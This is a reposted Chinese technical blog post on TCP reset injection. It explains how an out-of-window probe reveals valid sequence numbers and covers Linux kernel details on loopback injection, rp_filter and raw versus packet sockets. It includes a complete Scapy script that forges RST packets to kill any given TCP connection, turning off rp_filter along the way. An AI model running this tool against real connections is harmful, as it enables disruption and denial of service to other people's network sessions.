内容简介:版权声明:本文为博主原创,无版权,未经博主允许可以随意转载,无需注明出处,随意修改或保持可作为原创! https://blog.csdn.net/dog250/article/details/83830872
版权声明:本文为博主原创,无版权,未经博主允许可以随意转载,无需注明出处,随意修改或保持可作为原创! https://blog.csdn.net/dog250/article/details/83830872
漫漫长夜又要降临…黑夜里,我不敢点灯,复明日,阳光下,我不敢睁眼。
这篇文章完全来自于我在解决另一个问题是一个突然的想法。所以并没有什么前因后果。
我本来是想模拟一个TCP接收端对收到数据包的确认,采用了Scapy这个简单的工具,然而折腾了大半天没有顺利搞定。其实我是不怎么懂 Python 的,折腾了大半天之后,竟然对Python产生了兴趣,正好旁边有人碰到了TCP连接被莫名Reset掉的案例,借这个楼,就想写一个能把任意TCP连接给Reset掉的小程序,主要是为了用Python练一下手而已,熟悉一下Python快乐编程的过程,体验一把乐趣。
折腾Scapy这件事的结果补充一下,本初的愿望没有达成,没有完成探测拥塞控制行为的目的,反而学了一点Python,证实了我不会编程,但也不是一点都不会,我稍微会一点。
把任意的TCP连接给Reset掉是比较容易的,因为TCP在收到数据包时,对发送者仅仅做以下简单的校验:
- 五元组校验;
- 校验和检测;
- 序列号校验。
这是非常松散的校验机制!此外,我们知道TCP是一个端到端的传输协议,这意味着它无法控制数据包在经由网络链路时的任何事件。于是乎以下的机制就是一个不得已的必须机制,而恰恰是该机制非常容易被利用,使得一个TCP连接非常容易被旁路干掉!该机制就是:
- TCP接收到一个莫名其妙的乱序报文时,必须立即回复一个携带正确序列号和确认号的ACK报文!
我们核对一下Linux TCP实现在收到报文时的校验函数tcp_validate_incoming:
于是乎,为了能让一个TCP端正确处理Reset报文,就必须可以通过 序列号校验 , 为了能获取 正确的序列号 , 可以用以上的机制给TCP其中一端发送一个 任意序列号的报文 ,如果你堵在两端的必经之路上,那就可以收到 正确的序列号报文 了。
其实本文的题目中, “在任意位置” 说的并不严谨,如果你猜不到正确的序列号,需要发送探测数据报文的话,那么想Reset掉连接必须有一个前提,即你必须能抓获这个探测包的回复报文,因为正确的信息都在这个回复报文里。然而如果你并没有将这个TCP杀手部署的连接的必经之路上,就不能保证回复的报文一定被抓取到。不管怎么样,相信办法还是有的。
下面是一个原理图:
是不是非常简单的呢?是的!
这个小 工具 要是做出来也是蛮有用的,毕竟TCP不会想原始的RFC793里的状态机那么 闭环 ,有时真的是对端早就阵亡了,本端还会有一些TCP遗体,要想除掉它们,这个工具就比较有用了。此外,伟大的防火城墙最初不也是采用了这种方案双边Reset连接吗?
下面是我用Python练手的一个代码,可以完成上述原理图里的操作:
#!/usr/bin/python import sys import os import thread import time import signal from scapy.all import * # 五元组的源IP地址,如果在其中一端执行,则为该端的IP地址 # 注意,源和目标为任意方向,不必以建立连接的主动和被动来区分。 src = sys.argv[1] # 五元组的目标IP dst = sys.argv[2] # 和源IP对应的源端口 sport = sys.argv[3] # 和目标IP对应的目标端口 dport = sys.argv[4] local = int(sys.argv[5]) flt = "dst host " + src + " and dst port " + sport + " and src host " + dst + " and src port " + dport def signal_handler(signal, frame): os._exit(0) def printrecv(pktdata): if TCP in pktdata and pktdata[TCP]: seqno = pktdata[TCP].ack ackno = pktdata[TCP].seq if local == 1: # 如果是在本机操作,则需要把lo的rp_filter关闭,这是因为构造的Reset是被灌入到loopback网卡的。 all_rp = os.popen('cat /proc/sys/net/ipv4/conf/all/rp_filter').read() lo_rp = os.popen('cat /proc/sys/net/ipv4/conf/lo/rp_filter').read() os.popen('sysctl -w net.ipv4.conf.all.rp_filter=0') os.popen('sysctl -w net.ipv4.conf.lo.rp_filter=0') # 为了防止tcp_v4_rcv里面的PKT_HOST类型检查失败,强制一个MAC地址 sendp(Ether(dst="00:00:00:00:00:00")/IP(src = dst, dst = src)/TCP(sport = int(dport), dport = int(sport), flags = "R", seq=ackno, ack=seqno), iface="lo", verbose = 0) os.popen('sysctl -w net.ipv4.conf.all.rp_filter='+all_rp) os.popen('sysctl -w net.ipv4.conf.lo.rp_filter='+lo_rp) else: send(IP(src = dst, dst = src)/TCP(sport = int(dport), dport = int(sport), flags = "R", seq=ackno, ack=seqno), verbose = 0) send(IP(src = src, dst = dst)/TCP(sport = int(sport), dport = int(dport), flags = "R", seq=seqno), verbose = 0) os._exit(0) def recv_packet(threadName, delay): # 抓取探测包的返回包,该返回包携带了正确的seq和ack sniff(prn = printrecv, store = 0, filter = flt) if __name__ == '__main__': signal.signal(signal.SIGINT, signal_handler) # 创建抓包线程 thread.start_new_thread(recv_packet, ("Thread-2", 4, )) time.sleep(1) # 等待抓包线程就绪后发送探测包 send(IP(src = src, dst = dst)/TCP(sport = int(sport), dport = int(dport), flags = "A"), verbose = 0) while 1: pass # 空转,不是好方法!
这个代码仅仅是为了练习Python,其实有一个现成的杀TCP连接的工具,叫做tcpkill,它的Wiki在: https://en.wikipedia.org/wiki/Tcpkill
和tcpkill相比,我的这个比较low,但我没用过tcpkill,不晓得它有没有对待静默连接先探测的这个功能,请在使用前务必研究清楚。
现在,我来说一下做这个小程序时踩到的一些坑吧,如果对 Linux 的IP实现不熟悉,这些坑很难填平,当然这对于我来讲,并不是什么事。
- 构造报文的loopback注入问题
如果在本机来杀一条本机的连接,那么我们抓到探测报文的返回报文后,就可以构造Reset报文了,这看似简单,但问题是这个构造的Reset如何注入到本机的TCP端。
Python的Scapy send/sendp均是用packet套接字来发送构造的RAW报文的,packet套接字必须注入到loopback网卡才能环回到本地TCP/IP协议栈,然而loopback接收的这个构造的报文源IP却是远端的TCP端点IP地址,这在loopback开启了rp_filter的情况下会无法通过验证的,即便是loopback的rp_filter关闭,还有一个all.rp_filter,系统在做validate source的时候,是取的二者之间的大值,即只要有一个开启,就会开启rp验证,所以在Python脚本中需要将二者全部关闭。
- 目标MAC地址问题
使用send发送packet数据包会尝试绑定一个发送接口,然而目标地址就是本机的物理网卡的地址。构造报文是不可能通过物理网卡发送到wire上去的,而是会经由loopback环回到本地,然而此时必须指定一个目标MAC地址,否则将会取广播地址,而这个会在tcp_v4_rcv函数的开始,校验出错:
int tcp_v4_rcv(struct sk_buff *skb) { const struct iphdr *iph; const struct tcphdr *th; struct sock *sk; int ret; struct net *net = dev_net(skb->dev); // 如果是广播MAC,type将不会是HOST if (skb->pkt_type != PACKET_HOST) goto discard_it;
- RAW套接字和Packet套接字
起初我一直以为Scapy是通过RAW套接字发送数据包的,后来strace了一下发现是通过Packet套接字发送的。不过这里可以简单解释一下二者的区别。
- Packet套接字
需要关联到一个特定的网卡直接发送,无需经过路由查找和地址解析。这是显然的,路由查找的目的无非也就是定位到一个网卡,现在网卡已经有了,直接发送即可,至于发到了哪里,能不能到达目的地,听天由命了。 - RAW套接字
这种RAW套接字发送的报文是需要经过路由查找的,只是说IP头以及IP上层的协议以及数据可以自己构造。
Packet套接字非常直接和简单,这里不多说。
现在我来就着一个问题再来解释一下一个关于RAW套接字的问题。
既然在收报文的时候需要validate源地址的合理性,那么RAW套接字在发送报文的时候,路由逻辑是不是也需要validate一下源地址的合理性呢?毕竟RAW套接字的IP头是可以自行构造的,显然源地址也可以构造。
答案是需要看该RAW套接字的IP_HDRINCL socket选项有没有设置。
- 如果设置了IP_HDRINCL选项
绕过source validate逻辑,即构造的IP源地址可以是非本机地址。 - 如果没有设置IP_HDRINCL选项
忽略构造的IP源地址,以路由查找逻辑动态确定IP源地址。
嗯,这是我总结出的一个非常简单的解释。
浙江温州皮鞋湿,下雨进水不会胖!
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- rtty:在任何地方通过 Web 访问您的终端
- rtty 7.1.3 发布,在任何地方通过 Web 访问您的终端
- rtty 7.2.1 发布 - 在任何地方通过 Web 访问您的终端
- rtty 7.2.2 发布,在任何地方通过 Web 访问您的终端
- rtty 7.3.1 发布,在任何地方通过 Web 访问您的终端
- rtty 7.4.0 发布,在任何地方通过 Web 访问您的终端
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Nine Algorithms That Changed the Future
John MacCormick / Princeton University Press / 2011-12-27 / GBP 19.95
Every day, we use our computers to perform remarkable feats. A simple web search picks out a handful of relevant needles from the world's biggest haystack: the billions of pages on the World Wide Web.......一起来看看 《Nine Algorithms That Changed the Future》 这本书的介绍吧!